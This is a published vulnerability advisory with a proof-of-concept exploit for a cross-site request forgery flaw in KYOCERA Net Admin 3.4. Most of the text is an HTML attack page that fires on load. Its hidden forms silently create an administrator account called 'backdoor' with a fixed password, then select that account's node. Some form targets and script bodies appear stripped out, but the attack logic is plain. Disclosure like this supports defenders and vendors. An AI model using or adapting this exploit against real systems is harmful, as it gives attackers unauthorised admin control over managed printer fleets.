KYOCERA Net Admin 3.4 Cross Site Request Forgery

KYOCERA Net Admin version 3.4.0906 suffers from a cross site request forgery vulnerability.

MD5 | 7ad8f76f1fae53993f2d3a96a9888f6f


KYOCERA Net Admin 3.4 CSRF Add Admin Exploit

Vendor: KYOCERA Corporation
Affected version: 3.4.0906

Summary: KYOCERA Net Admin is Kyocera's unified
device management software that uses a web-based
platform to give network administrators easy and
uncomplicated control to handle a fleet for up to
10,000 devices. Tasks that used to require multiple
programs or walking to each printer can now be
accomplished in a single, fast and modern environment.

Desc: The application interface allows users to perform
certain actions via HTTP requests without performing
any validity checks to verify the requests. This can
be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web

Tested on: Microsoft Windows 7 Professional SP1 (EN)
Apache Tomcat/8.5.15

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

Advisory ID: ZSL-2018-5458
Advisory URL:



<title>KYOCERA Net Admin 3.4 CSRF Add Admin Exploit</title>

<body onload="exploitrun();">

<!-- Add Administrator -->
<form name="create_user" action="" method="POST" target="frame0">
<input type="hidden" name="userType" value="0" />
<input type="hidden" name="addUserForm:loginName" value="backdoor" />
<input type="hidden" name="addUserForm:pw" value="pass123" />
<input type="hidden" name="addUserForm:pwConfirm" value="pass123" />
<input type="hidden" name="addUserForm:role" value="administrator" />
<input type="hidden" name="addUserForm:required_name" value="name" />
<input type="hidden" name="addUserForm:required_email1" value="[email protected]" />
<input type="hidden" name="addUserForm:required_role" value="administrator" />
<input type="hidden" name="addUserForm:optional_name" value="Backdoor" />
<input type="hidden" name="addUserForm:company" value="ZSL" />
<input type="hidden" name="addUserForm:department" value="forensics" />
<input type="hidden" name="addUserForm:email2" value="[email protected]" />
<input type="hidden" name="addUserForm:optional_phone" value="123-123-1234" />
<input type="hidden" name="addUserForm:optional_cell" value="321-321-3210" />
<input type="hidden" name="addUserForm:submitHidden" value="true" />
<input type="hidden" name="addUserForm_SUBMIT" value="1" />
<input type="hidden" name="addUserForm:_link_hidden_" value="" />

<!-- Update Node -->
<form name="update_node" action="" method="GET" target="frame1">
<input type="hidden" name="bname" value="" />
<input type="hidden" name="ts" value="1522690965730" />
<input type="hidden" name="cmd" value="tv_set_cur_node" />
<input type="hidden" name="node_id" value="root.user_administration.administrator.backdoor" />

<iframe name="frame0"></iframe>
<iframe name="frame1"></iframe>

function exploitrun()
document.getElementsByTagName("iframe")[0].onload = function()
document.getElementsByTagName("iframe")[1].onload = function()


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